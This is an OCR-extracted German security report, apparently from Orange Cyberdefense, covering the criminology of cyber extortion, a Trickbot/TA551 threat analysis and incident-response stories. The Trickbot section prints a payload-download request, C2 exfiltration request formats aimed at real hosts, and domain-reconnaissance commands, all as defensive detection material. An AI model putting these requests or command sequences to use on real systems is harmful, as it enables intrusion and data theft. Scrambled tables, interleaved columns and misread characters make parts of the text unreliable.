steht, durch Erkennung und Eingriff, um die Anzahl verfligbarer Zugriffspunkte zu

reduzieren.

= Erhdhung der physischen Merkmale durch Verschlisselung, Digital Rights Management
und Honeytokens, um die Bewegung digitaler Datenbestande fiir einen Kriminellen zu

erschweren.

= Verringerung des Wertes digitaler Datenbestande flir das Opfer durch Verringerung der
Abhéngigkeit von Datenbesténden oder der Sicherstellung der Ausfallsicherheit durch

Backups und Wiederherstellungsprozesse.

Cy-X als Straftatbestand: Kriminelle, Opfer, Tatorte

Bezug zur echten

.. 1]
Straftéater Verbrechen Tat Tatort Opfer Welt
MILIGEE Unagtor|3|erter alE G Zielcomputer Computerbesitzer  Hausfriedensbruch
Broker Zugriff Computers

élé?:ﬁuig: 3':(:” Extrahieren der Computer, auf dem
Affiliate P Daten, um sie zu die Daten Dateneigentimer Diebstahl

Beschaffung von . .

. stehlen gespeichert sind

Informationen

Verweigert oder
Affiliate und/oder Ll Denial-of- Betroffenes . . .

Blockade der . . Systemeigentimer Entflihrung
Operator s Service-Angriff System

Fahigkeit, Daten zu

Ubertragen

Erpressung, bei . Daten- oder

denen . Leaking-Plattform .
Operator Lésegeldforderung Ressourceneigen-  Erpressung

Computer zum des Operators .

: timer

Einsatz kommen

Verkauf oder Handel mit ge- Daten- oder Verkauf oder
Darknet-Markt- o .
Operator Erwerb von stohlenen digitalen Darknet-Plattform  Ressourceneigen-  Erwerb von

Hehlerware Datenbestanden timer Hehlerware

Verkauf von
Produkten oder

Verschiedene Ak- Beihilfe zu einer Dienstleistungen, Beihilfe zu einer
teure des Cyber- Straftat die letztendlich Darknet-Markt ? beabsichtigten
crime-Okosystems zum Straftatbe- Straftat

stand Cy-X
beitragen

Das dritte Schllsselelement des RAT-Frameworks ist die
,Abwesenheit schutzbereiter Dritter’. Bei schutzbereiten Dritten
kann es sich um eine Person handeln, die eine kriminelle
Aktivitat verhindern kénnte. Der Begriff kann sich aber auch auf
ein Grundstlick oder einen Gegenstand beziehen, der Schutz
bietet. In einem realen Kontext wiirde diese Funktion von einem
Schloss, einer Sicherheitskamera oder einer Initiative wie einer
Nachbarschaftswache (bernommen werden.

In der echten Welt kdnnen féhige schutzbereite Dritte
beispielsweise Polizeistreifen, Sicherheitspersonal, Pfortner,
wachsame Angestellte und Kollegen, Freunde und Nachbarn
sein. Einige der schutzbereiten Dritten kénnen formal und
bewusst eingesetzt werden, wie etwa die Polizei, wahrend
andere eher informeller Natur sind, wie zum Beispiel

Nachbarn.®?! Ein schutzbereiter Dritter kann eine Straftat durch
seine bloBe Anwesenheit oder durch eine direkte MaBnahme
verhindern.

Im Bereich der Cybersecurity ist es leicht ersichtlich, dass

es auch dort eine Art technische schutzbereite Dritte wie
Antivirenprogramme (AV), eine Firewall oder ein Intrusion-
Detection-System (IDS) gibt.”*! Wie ein Schloss oder

eine Sicherheitskamera in der realen Welt kdnnten diese
Technologien ein potenziell wirksames Mittel sein, um
Verbrechen zu verhindern. Es erscheint daher nur allzu logisch,
dass die von uns eingesetzten Sicherheitstechnologien den
Kontrollen in der Welt da drauBen, wie Toren, Schléssern und
Kameras entsprechen.

Allerdings missen wir auch das Konzept der formellen und
informellen schutzbereiten Dritten als Menschen in den
Cyberspace Ubersetzen kdnnen. Die Schutzbereitschaft
Dritter betrifft viel mehr als nur die Technologie. Es umfasst
auch Personen und Gruppen, die in formeller oder informeller
Funktion tétig sind.

Der Begriff ,Nichtvorhandensein von fahigen
schutzbereiten Dritten’ kann sich in Form von Ausféllen

bei Sicherheitskontrollen wie dem Patch-Management,
Zugriffsmanagement, den AV-, Endpoint- und Detection-
Response-Ldsungen auBern. Es kann sich aber auch auf
einen Mangel an Cybersecurity-Experten oder auf normale

Angestellte beziehen, die Uber keine ausreichenden
Sicherheitskenntnisse verfigen und denen das Bewusstsein
fehlt, um als ,féhig’ zu gelten. Daher sind soziale und technische
schutzbereite Dritte im Cyberspace oft unzureichend vertreten
oder sie fehlen génzlich.

Das Nichtvorhandensein von formellen und informellen
schutzbereiten Dritten lasst Cyberkriminalitat aus Sicht eines
Kriminellen lukrativ erscheinen. Der Cyberspace ist ein Ort mit
wenig Rechtsprechung und unzureichender Strafverfolgung.
Faktoren wie die Ausprégung der Cyberkriminalitat, begrenzte
Mdglichkeiten bei der Polizeiarbeit, Anonymitét, Anwendbarkeit
von (internationalem) Recht u.v.m. schrénken die Wirksamkeit
schutzbereiter Dritter zusétzlich ein.

Die Anwendung von Sicherheitskontrollen und -technologien
als fahige schutzbereite Dritte unterstreicht zwei einfache, wenn
auch etwas widersprichliche Beobachtungen:

Wir sind auf technische Kontrollen im Cyberspace
angewiesen, um Kriminelle abzuschrecken. Die
Sicherheitstechnologien, die wir in der Regel einsetzen,
sind praktisch analog zu den Kontrollen, die wir in der
physischen Realitat einsetzen. Sie scheinen daher gut zu
diesem Element der RAT zu passen.

Der Hauptunterschied zwischen der realen Welt und

dem Cyberspace besteht darin, dass die Komplexitat

im Cyberspace exponentiell steigt, was durch den

Einsatz zusétzlicher Technologien sogar noch verstarkt
wird. Im Ergebnis bedeutet dies, dass die Technologie
mdglicherweise nicht in der Lage ist, ihre zugedachte Rolle
zu erflllen.

Wenn Sicherheitstechnologien mit einer hochdynamischen
und im Grunde instabilen Infrastruktur verbunden sind, haben
sie kaum eine Chance, die von der RAT festgelegten Kriterien
vollsténdig zu erfllen. Jene Sicherheitstools kénnen die
Situation sogar noch verschlimmern.

Das hilft auch bei der Erklarung, warum die Cyberkriminalitat
trotz steigender Investitionen in Kontrollen weiter zunimmt. Auch
lasst es darauf schlieBen, dass es zwar Méglichkeiten geben
konnte, die Wirksamkeit dieser Kontrollen (zum Beispiel durch
bessere Sichtbarkeit) zu verbessern, die grundlegende Natur
des Cyberspace es jedoch auBerst schwierig macht, digitale
Datenbestande zu schitzen, indem an allen digitalen ,Tatorten’,
an denen eine Straftat begangen werden kdnnte, Kontrollen
durchgeflhrt werden.

Ein Teil der Funktion eines fahigen schutzbereiten Dritten
kénnte im Cyberspace in Form von Professional oder Managed
Security Service Providern (MSSP) (ibernommen werden. Um
der Definition der RAT gerecht zu werden, wére jedoch eine
Anderung der grundlegenden Dynamiken erforderlich, die
derzeit auf dem Cybersicherheitsmarkt vorherrschen.

Die Schutzbereitschaft Dritter muss in erster Linie aus einer
Community heraus hervorgehen, die sich selbst schitzen

will und bereit ist, daflir aktiv Zeit und Mihe zu investieren.
Von diesem Ort der Community-orientierten Fihrung

kénnen Partnerschaften mit Strafverfolgungsbehdérden und
professionellen Dienstleistern entstehen. Hier fallt der Security
Industrie eine besondere Rolle zu.

Mit einer bestehenden Partnerschaft, die von der betroffenen
Community angefiihrt wird, muss der Schwerpunkt auf

einer aktiven und sichtbaren Auseinandersetzung mit dem
Md&chtegern-Kriminellen liegen, um ein deutliches Signal
dahingehend zu setzen, dass der betreffende ,Raum’ von
schutzbereiten Dritten bewacht wird.

www.orangecyberdefense.com



Bekampfung von Cy-X
als Verbrechen

Was kann getan werden, um die systemischen kriminellen Faktoren
anzugehen?

| |
Demotivieren Sie Straftater: FaZIt

Koordinierte StrafverfolgungsmaBnahmen

Verringerung des Geldflusses von Opfern Durch die Untersuchung der Cy-X-Problematik anhand der Struktur der drei im RAT skizzierten
Elemente (motivierter Tater, geeignetes Opfer und das Fehlen fahiger schutzbereiter Dritter) haben wir
mehrere Mdglichkeiten identifizieren kdnnen, diesen Faktoren entgegenzuwirken oder sogar deren
negative Auswirkungen bedeutend zu reduzieren.

Zusammengefasst handelt es sich um die folgenden Punkte:

Gezielte Anstrengungen zur Verringerung
der Neutralisierungstechniken von
Kriminellen

Verringerung der Motivation des Taters

Koordinierte Strafverfolgungsbemihungen
Verringerung des Geldflusses der Opfer

Gezielte Anstrengungen, die Neutralisierungstechniken von Kriminellen zu reduzieren

Reduzieren der Eignung eines Opfers

Verringerung der Verwundbarkeit durch Anpassung von Routineverfahren und Verbesserung der
Sicherheitshygiene

Verringerung des Wertes digitaler Datenbestande fiir das Opfer durch Verringerung der
Abhangigkeit von Datenbesténden oder der Sicherstellung der Ausfallsicherheit durch Backups
und Wiederherstellungsprozesse

Erhéhung der physischen Merkmale durch den Einsatz von Techniken wie der Verschllsselung,
DRM und Honeytokens, um die Bewegung digitaler Datenbestande fiir einen Kriminellen zu
erschweren

Verringerung der Sichtbarkeit durch Verringerung der Angriffsflache

Verringerung der Zeit, die einem Angreifer nach einer Kompromittierung zur Verfigung steht, durch
aktive Detection und Response, um die Anzahl verfligbarer Zugriffspunkte zu reduzieren

Verbesserung geeigneter schutzbereiter Dritter

Erkennen Sie das begrenzte Potenzial von Sicherheitstechnologien als schutzbereite Dritte in der
Komplexitat des Cyberspaces

Heben Sie die bedeutende Rolle der Community hervor, die ein Interesse daran hat, sich in
Zusammenarbeit mit Security Services Anbietern und Strafverfolgungsbehérden zu schitzen

Das Thema Cy-X-Angriffe ist komplex. Es ergibt sich aus einer Reihe von zutiefst systemischen

Verringern Sie die Faktoren und muss als solches durch einen vielschichtigen und facettenreichen Ansatz angegangen
Attraktivitit al 0 fer: werden. Das Versténdnis von Verbrechen und den Verbrechern ist zentraler Bestandteil unserer
raKtvitat ails vprer. Auseinandersetzung mit diesen systemischen Faktoren.

Verringerung der Verwundbarkeit

Wahrend wir das Problem von Cy-X auf strategischer Ebene untersuchen und angehen kdénnen,
mussen wir uns darlber hinaus den Schwachen widmen und sémtliche Ressourcen unserer Mitarbeiter
und die Spezifika unserer Technologien nutzbar machen, um den Aufwand fir Kriminelle zu erhéhen
Verschliisselung, DRM und Honeytokens D : und die Wahrscheinlichkeit zu verringern, dass ein Verbrechen gelingt. Dariiber hinaus mlssen
Sorgen Sie fir geelgnete wir unsere Widerstandsfahigkeit fiir den ungiinstigen Fall verbessern, dass Kriminelle erfolgreich
zuschlagen sollten.

Verringerung des Wertes digitaler Guter (und
die Abhéngigkeit von ihnen)

Verringerung der Sichtbarkeit und Reduzierung ) )
der Angriffsflache schutzbereite Dritte:

= Wirdigung des begrenzten Potenzials Weitere Informationen zum Schutz vor Ransomware finden Sie im
von Sicherheitstechnologien in der . Dort finden Sie technische Leitlinien fiir CISOs und Security Manager, die sich mit der
Komplexitét des Cyberspace Bedrohung durch Cy-X befassen.

Agile Detection und Response

Nutzung der Macht der
Gemeinschaft in Partnerschaft mit

Orange Swaverfolgungabendrden
Cyberdefense

www.orangecyberdefense.com
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Bedrohungsanalyse:

Wie eine Schlange ihre Beute jagt, verfolgt das Pariser CyberSOC von Orange Cyberdefense eine
bestimmte Malware namens Trickbot, die einem bésartigen Akteur zugeschrieben wird, der unter dem
Namen Wizard Spider (Crowdstrike), UNC1778 (FireEye) oder Gold Blackburn (Secure Works) bekannt ist.

Trickbot ist ein beliebter und modularer Finanztrojaner, der zudem zur Kompromittierung von Unternehmen
verwendet wird und zusatzliche Arten von Payloads liefert. Trickbot hat sich mit der Zeit kontinuierlich
weiterentwickelt, um nun von mehreren bdsartigen Akteuren als Malware-as-a-Service (MaaS) verwendet zu

werden.
Florian G., CyberSOC Analyst,

Was Sie wissen sollten

Der bosartige Akteur ist dafiir bekannt, schnell zu
handeln, indem er das bekannte Post-Exploitation-

Tool CobaltStrike nutzt, um sich lateral in der
Netzwerkinfrastruktur eines Unternehmens zu

bewegen und Ransomwares wie Ryuk oder Conti zu
implementieren. In der Lage zu sein, solche Kéder, die
als Eintrittspunkt dienen, so schnell wie méglich zu
erkennen, ist ein Schliisselelement fiir den Erfolg bei der
Verhinderung weiterer Angriffe.

In dieser Bedrohungsanalyse soll der Fokus auf den
bosartigen Akteur TA551 und seine Verwendung von
Trickbot gelegt werden. Wir werden darauf eingehen,
wie wir die Detection in den verschiedenen Schritten

der Kill-Chain durchfiihren kénnen, angefangen beim
Betriebsmodus lber die Malspam-Kampagne bis hin zur
Erkennung von Tools, die vom Akteur eingesetzt werden.
Dariiber hinaus werden wir lhnen einige zuséatzliche
Informationen dariiber geben kénnen, wie diese Malware
verwendet wird. Ferner soll es um die Entwicklung der
Malware im Vergleich zu anderen Schadprogrammen
gehen, die von béswilligen Akteuren verwendet werden.

Seit Juni 2021 verschickt die Gruppe

TA551 die Malware Trickbot Uber eine
verschlisselte Zip-Datei. Die E-Mail tduscht
eine wichtige Information vor, um die
Wachsamkeit des Empféngers zu verringern.

Fir die Zip-Datei werden immer dieselben
Namen wie ,request.zip’ oder ,info.zip’ sowie
ein identischer Name firr die Dokumentendatei
verwendet.

NB: Der bosartige Akteur hat die gleiche
Vorgehensweise vor/parallel zu Trickbot
benutzt, um andere Malware zu verbreiten. Wir

beobachteten im gleichen Zeitraum, namlich von
Juni 2021 bis September 2021, die Verwendung
von Bazarloader als Initial Access Payload.

© Orange Cyberdefense

2. Ausfiihrung

Sobald der Benutzer das Dokument und das aktivierte
Makro 6ffnet, wird eine HTA-Datei auf dem System
abgelegt und Uber cmd.exe ausgefihrt. Die HTA-Datei
wird verwendet, um die Trickbot-DLL von einem Remote-
Server herunterzuladen

Diese Funktionsweise hangt mit TA551 zusammen.
Wir kénnen sie anhand des Musters ,/bdfh/‘ Gber die
GET-Anfrage identifizieren.

GET /bdfh/M8v[..]JVUb HTTP/1.1

Accept: */*

Host: wilkinstransportss.com
Content-Type: application/octet-stream

NB : Muster im Zusammenhang mit TA551 entwickeln
sich mit der Zeit weiter. So wird seit Mitte August das
Muster ,/bmdff/* verwendet.

Die DLL wird als jpg-Datei registriert, um die echte
Erweiterung zu verbergen, und wird Uber regsvr32.exe
ausgefuhrt. Dann wird Trickbot in ,wermgr.exe* mittels
Process Hollowing Techniken eingeschleust.

o

[ ]

[ ]

o
£ BAO- "C"\Program Files\Microsoft
Office\Office 15\WINWORD.EXE" /n
"C:\Users\FAT\Downloads\require,07.
21.doc" /o™

« TEE) at Ot+18s

+ @) at O t+143s

£ FD4: "C\Windows\System32\regs
vr32.exe" c:\users\public\coreForCod

ejpg + EZIE) at O1+203s

+ CEIED) at Ot+208s

 (RUNPE) at © t+220s

Abbildung 1 - Trickbot-Ausfihrung von OCD Sandbox (P2A)

3. Sammlung

Nach dem Beginn der Systemkompromittierung kann Trick-
bot mithilfe legitimer Windows-Ausfuhrungen Informationen

Uber sein Ziel sammeln und ermitteln, ob das System Teil
einer Active-Directory-Doméne ist.

Zusétzlich dazu sammelt Trickbot weitere Informationen wie

Uber den Windows-Build, die éffentliche IP-Adresse, den

Benutzer, der Trickbot ausfiihrt, sowie dartiber, ob sich das

System hinter einer NAT-Firewall befindet.

Trickbot ist auch in der Lage, sensible Daten wie Bankdaten
oder Zugangsdaten zu sammeln und tber einen Command-
and-Control-Server (C2) auszuschleusen, der firr die Daten-

Exfiltration bestimmt ist.

4. Command & Control

Sobald das System infiziert ist, kann es verschiedene Arten
von Trickbot-C2 kontaktieren. Das Haupt-C2 ist das, Uiber
welches das Opfersystem kommuniziert, hauptséchlich um
neue Anweisungen zu erhalten.

Alle Anfragen an einen Trickbot-C2 weisen das folgende
Format auf:

,/<gtag>/<Client_ID>/<command>/<additionnal
information about the command>/*

GET /zev4/56dLzNyzsmBHO6b_W10010240.42DFOF315753
F31B13F17F5E731B7787/0/Windows 10 x64/1108/XX.XX.
XX.XX/38245433FOE3D5689F6EE84483106F4382CC92EAFAD5120
6571D97A519A2EF29/0bqjxzSOQUSLPRIMQSWKDHTHKEG/ HTTP/1.1
Connection: Keep-Alive

User-Agent: curl/7.74.0

Host: 202.165.47.106

Alle gesammelten Daten werden Uber die HTTP-POST-Anfr-
agemethode zur Exfiltration an einen Trickbot-C2 gesendet.
Das Anfrageformat bleibt gleich, allerdings ist der Befehl ,90°
spezifisch fur die Daten-Exfiltration, genauer gesagt fur die
exfiltrierten Systemdaten des infizierten Systems, bestimmt.

POST /zev4/56dLzNyzsmBHO6b_W10010240.42DF9F315753F31B13F
17F5E731B7787/90/ HTTP/1.1

Connection: Keep-Alive

Content-Type: multipart/form-data; boundary=
aryoF79C562

User-Agent: Ghost

Host: 24.242.237.172:443

L B64: cmd exe /c ipconfig /al

- @D =0
£ B6C: ipconfig /all | + (EEEZAED at © t+s

£ BSC: cmd.exe /c net config workst
ation

Ll CreATED JENCRIEE

£} B94: net config workstation | < (EIEAED at O t+7s

LY creaTED JENCREEE
£ BBO: cmd.exe /c net view /all | + (EEEZAED at® t+7s
£3 B88: net view /all | + ETZAED 2t O t+7s
ﬁ 874: cmd.exe /c net view /all /dom
ain LY crearen JECISRER

£ 888 net view /all /domain | 4= (EZEEED at © t+19s

£} 514: cmd.exe /c nitest /domain_tru

sts + EED) at ©+30s

£ 8BC: nitest /domain_trusts | 4= (EEa) at © t+32s

£¥ 658: cmd exe /c nltest /domain_tru
sts /all_trusts LY createn JECREER
£ 8F4 nitest /domain_trusts /all_trus
ts « EZED) at Ot+32s

CobaltStrike ist ein kommerzielles voll funktionsfahiges
Fernzugriffstool, das sich selbst als eine ,feindliche
Simulationssoftware zur Ausfiihrung gezielter Angriffe
sowie der Simulation von Post-Exploitation-MaBnahmen
fortgeschrittener bosartiger Akteure® bezeichnet.

Der interaktive Post-Exploit-Funktionsumfang von
CobaltStrike deckt die gesamte Bandbreite der
ATT&CK-Taktiken ab, die in einem einzigen, integrierten
System ausgefihrt werden kénnen.

In unserem Fall verwendet Trickbot den wermgr.exe-
Prozess, um CobaltStrike-Beacon in den Speicher zu
laden.

Mehrere Ransomware-Betreiber sind mit bésartigen
Akteuren vernetzt. Diese Akteure zielen darauf

ab, den Erstzugriff fir die Ransomware-Betreiber
durchzufiihren. Conti und Ryuk gehéren zu den
haufigsten Ransomware-Arten, die im Endstadium der
Trickbot-Infektion beobachtet werden konnten

Conti ist eine Gruppe, die als Ransomware-as-
a-Service-Modell fungiert. Es steht mehreren

miteinander vernetzten Akteuren zur Verfligung.

Ryuk ist eine Ransomware, die mit dem Akteur hinter
Trickbot in Verbindung steht.

www.orangecyberdefense.com
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Pentesting
mit einem kraftigen
Schlag

Harte Sparringspartner, die gekommen sind, um zu bleiben

Als ob eine globale Pandemie nicht genug wére, haben wir im letzten Jahr einige wirklich
spektakuldre Schwachstellen und Sicherheitsverletzungen beobachten kdnnen, die unsere
Vorstellung von Security nachhaltig verandert haben.

Die standig zunehmende Dynamik, Leistungsfahigkeit und Komplexitat von Angreifern zwingt
uns dazu, bestehende Abwehrstrategien mehrfach zu wiederholen und haufig zu Uberdenken —
eine Aussage, die auch flr die Entwicklung unserer Ethical Hacker gilt.

Bei Orange Cyberdefense simulieren wir regelmaBig vielfaltige, komplexe Angriffsszenarien
flr Unternehmen — eine Art Sparring. Um Mike Tyson zu zitieren: ,,Jeder hat einen Plan, bis er
eins auf die Fresse bekommt®. So besteht das Ziel dieser Ubungen darin, das Vertrauen und
die Effektivitat der Security-Teams im Umgang mit realistischen, faktenbasierten Szenarien im
Kontext von Bedrohungssimulationen zu verbessern.

Vorbereitung und Training sind zwar wichtig, allerdings haben wir es manchmal mit
unbekannten Gegnern zu tun. Sollte Ihre Cyberabwehr in einem echten Kampf k.o. gehen, ist
es wichtig, jemanden an lhrer Seite zu haben, der Innen dabei hilft, schnell wieder auf die Beine
zu kommen. Das macht unser CSIRT, indem es entscheidendes praktisches und kritisches
Denken in oft verwirrenden cybersicherheitsrelevanten Situationen anwendet.

Es gibt viele ,Kriegs’-Geschichten, die von unseren globalen Teams und ihren umfangreichen
Erfahrungen sowohl im Kontext von Bedrohungssimulationen als auch der Reaktion auf
Kompromittierungen zu erzahlen wéren. Ich hoffe, dass die Geschichten, die Sie gleich lesen
werden, Ihnen spannende Einblicke in deren Alltag geben kdnnen. Sie werden zudem erfahren
kdénnen, wie wir Sie dabei unterstlitzen kénnen, lhre allgemeine Sicherheitslage zu verbessern.

www.orangecyberdefense.com
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CSIRT Story: Another manic Monday

Das Opfer rief an einem Montag das Orange Cyberdefense CSIRT an, weil es entdeckte,

dass seine gesamte Infrastruktur mit Ransomware infiziert wurde. Seine Server? Weg. Seine
Datensicherung? Weg. Der Sommer sollte gerade beginnen und die Ransomware-Félle waren
nach dem Angriff auf Colonial Pipeline noch nicht zurtickgegangen. Es war tatsachlich unser

Pentesting- & CSIRT-Stories m
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zwodlfter Fall in diesem Monat. Die meisten von ihnen haben montags begonnen.

Robinson Delaugerre, CSIRT Investigations Manager, Orange Cyberdefense

uten Morgen, hier ist lhre
tagliche Sicherheitsliicke

Wir begannen damit, die Lage zu
sondieren: ein paar Dutzend Server, alle
gemanB Branchenstandards auf dem
neuesten Stand gehalten, was bedeutet,
dass nur eine Handvoll Windows Server
2012 Ubrig blieb; ein Hauptblro, in dem
die meisten Schaden aufgetreten waren,
und AuBenstellen, die Uber eine MPLS-
Verbindung miteinander verbunden waren.

Eine recht typische Infrastruktur,

auf den ersten Blick ohne eklatante
Sicherheitsméngel. Es war jedoch auch
offensichtlich, dass das Sicherheitsteam
lediglich aus dem CISO bestand.

ent mal, das kommt
uns doch bekannt vor!

Unsere nachste Frage an das Opfer
ware gewesen: ,Welche Art von
Fernzugriffsldsung verwenden Sie in
Zeiten von Lockdowns und Remote-
Arbeit?“. Allerdings kannten wir das
Opfer gut und wussten genau, dass
es Fortinet SSL VPN verwendet. Der
Grund, warum wir davon wussten, ist
einem friheren Vorfall geschuldet, den
wir nur vier Monate zuvor bearbeitet
hatten. Damals wurde sein Netzwerk
mit dem Ziel gehackt, es anschlieBend
mit Ransomware zu infizieren, was
gltcklicherweise von dem AV-
Sicherheitspaket vereitelt werden konnte.

© Orange Cyberdefense

Folge den Brotkrumen

Ein kurzer Blick in das Active Directory
lieB ein paar interessante Details zum
Vorschein kommen. Es gab viele
fehlgeschlagene Anmeldeversuche
fir das Konto AgmuHucTpartop,
wabhrscheinlich weil unser Angreifer
vergessen hat, eine Variable in

seinen Skripten zu &ndern. Wichtiger
noch, sechs Stunden vor Beginn der
Serververschlisselung wurde ein
Konto erstellt und der Gruppe der
Domé&nenadministratoren hinzugeftigt.

Schnelles Beheben der Liicke

Um die Leser nicht l1anger auf die Folter
zu spannen, méchte ich die Geschichte
nun etwas abkulrzen. Wir haben die
Ursache des vorherigen Vorfalls in

einer Sicherheitsllicke in Fortinet
ausmachen kénnen, die es einem
Angreifer ermdglicht, unverschlisselte
Anmeldeinformationen von aktiven
Benutzern, auch bekannt als CVE-2018-
13379, zu generieren. Zurlick zu diesem
einen Montag im Juni: Wir haben unseren
Kunden gefragt, ob er etwas dagegen
héatte, wenn wir seine Firewall patchen
wurden.

Kein Problem, lautete seine Antwort.

Wir haben sofort loslegen kénnen,

das Netzwerk gesaubert und unsere
Geschafte ohne Probleme weiterfiihren
kénnen. Also haben wir uns an die Arbeit
gemacht und weiter nachgeforscht.

»sWas bisher geschah:“ e e s @@ 0 0 o
Zurickverfolgen der
Ereignisse

Und kurz davor folgen die
verraterischen Zeichen der
Exploitation durch Zerologon.

Die Quelle des Exploits, der es
jedem im LAN befindlichen Angreifer
ermoglichte, an Domain-Admin-
Privilegien zu gelangen, lag im SSL-
VPN-Bereich.

Gewonnene
Erkenntnisse

In Bezug auf den Active-Directory-Server wurde
Zerologon im August des Vorjahres veréffentlicht. Im
September folgte die Verdffentlichung eines Patches.

Es sollte gepatcht werden, aber das Wartungsfenster
wurde verschoben. So ist das mit dem Patchen; es ist
nicht so leicht wie es aussieht.

Von einer Schwachstelle, bei der das Patchen
moglicherweise nicht ausreicht, um das Risiko einer

Kompromittierung von Anmeldeinformationen zu
minimieren, bis hin zu einer anderen, bei der Sie auf
einem kritischen Server arbeiten miissen, gibt es viele
Méglichkeiten, etwas falsch zu machen oder wie in
diesem Fall zu spat zu kommen.

Man kann sich Ransomware-Akteure als technische
Schuldeneintreiber vorstellen. Und sie konnten schon
am Montag vor lhrer Tur stehen.

Die Nachricht ist:%

Als wir uns der Firewall widmeten,
identifizierten wir den flir die Verbindung
verantwortlichen Account und es kam
uns vor wie ein Déja-vu. Wir hatten
dieses Konto im vorherigen Vorfall
identifizieren kbnnen, das damals vom
béswilligen Akteur im Rahmen der
Sicherheitsverletzung verwendet wurde.
Tatsachlich war es jeder 15. Zugang, der
getestet und validiert wurde.

Das Opfer war dabei, diese Konten
stillzulegen, aber dieser Punkt landete
ganz unten auf der To-Do-Liste. Die
Zugangsdaten zu diesen anfélligen
VPNs machten innerhalb der Community
bdswilliger Akteure die Runde. Es bleibt
also offen, ob die beiden Angriffe von
derselben Gruppe stammten.
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CSIRT Story: Nerven aus Stahl

»Wir wurden von einem unserer Intelligence-Partner darauf aufmerksam gemacht, dass
ausgehender Datenverkehr von Ihrem Netzwerk eine bekannte bdsartige IP-Adresse
kontaktiert®, hieB es in der Nachricht, die eher neue Fragen aufwarf, wo eigentlich Antworten
vonndten gewesen waren. Unser Kunde erhielt diese Meldung Ende September von einer
Regierungsbehoérde und kontaktierte uns anschlieBend, um in dieser Angelegenheit Klarheit zu
schaffen, wenn nicht sogar die Sache ein fur alle Mal zu kléren.

Alexis Bonnefoi, CSIRT Analyst, Orange Cyberdefense

...

s <somewhere>

mit lieben GriiBen

Die IP-Adresse wurde mit einem béswilligen
Akteur in Verbindung gebracht, von dem
bekannt ist, dass er einen engen Kontakt zu
einer auslandischen Regierung pflegt. Daher

Verborgen im Schatten eececcccccccccccce

Sobald wir das Vorgehen durchschauten,
konnten wir mehr als 60 kompromittierte

haben wir uns entschieden, mit uBerster
Vorsicht vorzugehen. Der gesamte Prozess
der Beweissicherung wurde von geklonten
virtuellen Maschinen auBerhalb des Netzwerks
durchgeflihrt. Wir haben den Datenverkehr
Uberwacht, ohne ihn zu blockieren, um zu
verhindern, dass der bdswillige Akteur merkt,
dass wir ihm auf den Fersen waren. Dies sollte
sich als die beste Vorgehensweise erweisen,
die wir vorab mit dem Kunden vereinbart
hatten, da wir nicht wussten, wie lange das
Netzwerk bereits kompromittiert wurde und
wie weitreichend die Infiltration war.

Wie lange...
gehtdas schon so? eecccccccee

Schon sehr bald sollten unsere Fragen zumindest
teilweise beantwortet werden. Die IP-Adresse
wurde seit April von einigen Dutzend Endpoints
kontaktiert. Durch die Priifung des Speichers und
der Ereignisprotokolle des Endpoints konnte die

Konten identifizieren, von denen fast

alle irgendwann wahrend des ganzen
anderthalbjéhrigen Zeitraums, in dem
Eindringversuche unternommen wurden,
verwendet wurden, um sich mit dem VPN

zu verbinden. Das Implantat wurde jedoch
erst seit Juni 2021 eingesetzt; alle vorherigen
Zugriffe wurden Uber das VPN durchgefihrt.
Tatsé&chlich hatte der boswillige Akteur Uber
ein Jahr lang nichts unternommen, auBer
den Zugang zu testen und Schwachstellen
ein wenig auszukundschaften.

Die Sache nahm in den letzten vier Monaten
an Fahrt auf, als der boswillige Akteur
Implantate ablegte, wéhrend er sich lateral
bewegte, und Mimikatz ausfiihrte, um noch
mehr Konten zu kompromittieren. Das

Ziel des Angreifers blieb unklar. Wir haben
verschiedene passive Tools eingerichtet,
um die Aktivitat des boswilligen Akteurs

zu Uberwachen, wahrend wir uns auf den
groBen Knall vorbereiteten.

Installation eines Cobalt-Strike-Implantats entdeckt
werden. Bei der Quelle dieser Installation handelte es
sich um eine VPN-Verbindung. Aufmerksame Leser
der vorherigen Geschichte wiirden nun zum gleichen
Schluss kommen wie auch alle anderen erfahrenen
Incident-Responder in den letzten drei Jahren:

Deren VPN ist von Fortinet, welches nicht rechtzeitig
gepatcht wurde. Diese Annahme war zwar richtig,
doch hier ist der Clou: Das Konto, mit dem Cobalt
Strike implementiert wurde, wurde seit Marz 2020 von
verdachtigen Standorten aus eingesetzt.

© Orange Cyberdefense
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Bereitmachen, zielen.....

Die Operation musste innerhalb eines
Wochenendes ausgefihrt werden, wobei
Active Directory und alle Hauptserver durch
saubere und stérkere Kopien sowie die
Anwendungsserver, die ohne Probleme
wiederhergestellt werden konnten, ersetzt
wurden. Im Grunde genommen wurden dabei
drei Viertel des Netzwerks in einer Blase
isoliert und mit erneuerten Passwoértern und
Kryptomaterial neu aufgebaut und Versionen
der restlichen Server importiert, um deren
Kompatibilitat zu prifen. Alle Server, die nicht
wiederhergestellt werden konnten, wurden
grindlich auf Schadprogramme analysiert
und ein dediziertes Skript verfasst, um sie zu
reinigen.

Feuer!

Die Vorbereitung nahm zwei
Monate in Anspruch und die
Ausfiihrung war mit einem sehr
angespannten Wochenende
verbunden. Letztendlich konnte
der bdswillige Akteur effektiv
rausgeworfen werden, ohne dass
er merkte, dass wir hinter ihm her
waren.

Gewonnene
Erkenntnisse

Gemeinsam mit unseren Kollegen aus dem
MicroSOC unterstiitzen wir den Kunden weiterhin
dabei, sein Netzwerk auf Anzeichen béswilliger
Aktivitaten zu Uberwachen. Bisher kdnnen wir
behaupten, dass wir erfolgreich gearbeitet haben.

Es braucht eine sehr ruhige Hand und Mut, um
eine solche Operation durchzufiihren. Steht man
allerdings einem erfahrenen und motivierten
béswilligen Akteur gegenuliber, besteht der beste

Ansatz méglicherweise darin, nichts zu tun.

Natirlich nur dem Anschein nach.
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Pentesting Story:

Erhalten Sie privilegierten internen Netzwerkzugriff,
argern Sie den CIO

Das Assessment begann an einem Montag und das Kick-off-Gesprach war kurz: Erhalten Sie

um jeden Preis einen privilegierten internen Netzwerkzugriff Gber das Internet. Die einzigen
Angaben waren der Firmenname — ein bekannter Markenname, der flir Reichtum steht.

Reino Mostert, Security Specialist Operations, Orange Cyberdefense

ich als Administrator
ausgeben

Eines der Dienstkonten wurde
von einer unternehmenskritischen
Software verwendet. Der
Anbieter bestand diesbezlglich
darauf, dass fir die Arbeit
Domaéanenadministratorrechte
erforderlich seien.

Hey Domain,
was hast du uns zu bieten?

Uber eine kurze Abfrage Gber crt.sh
konnten mehrere Webseiten auf der
Domain des Unternehmens ermittelt
werden, wobei es sich bei einigen von ihnen
um Testseiten handelte, auf denen CMS-
Webanwendungen ausgefihrt wurden.

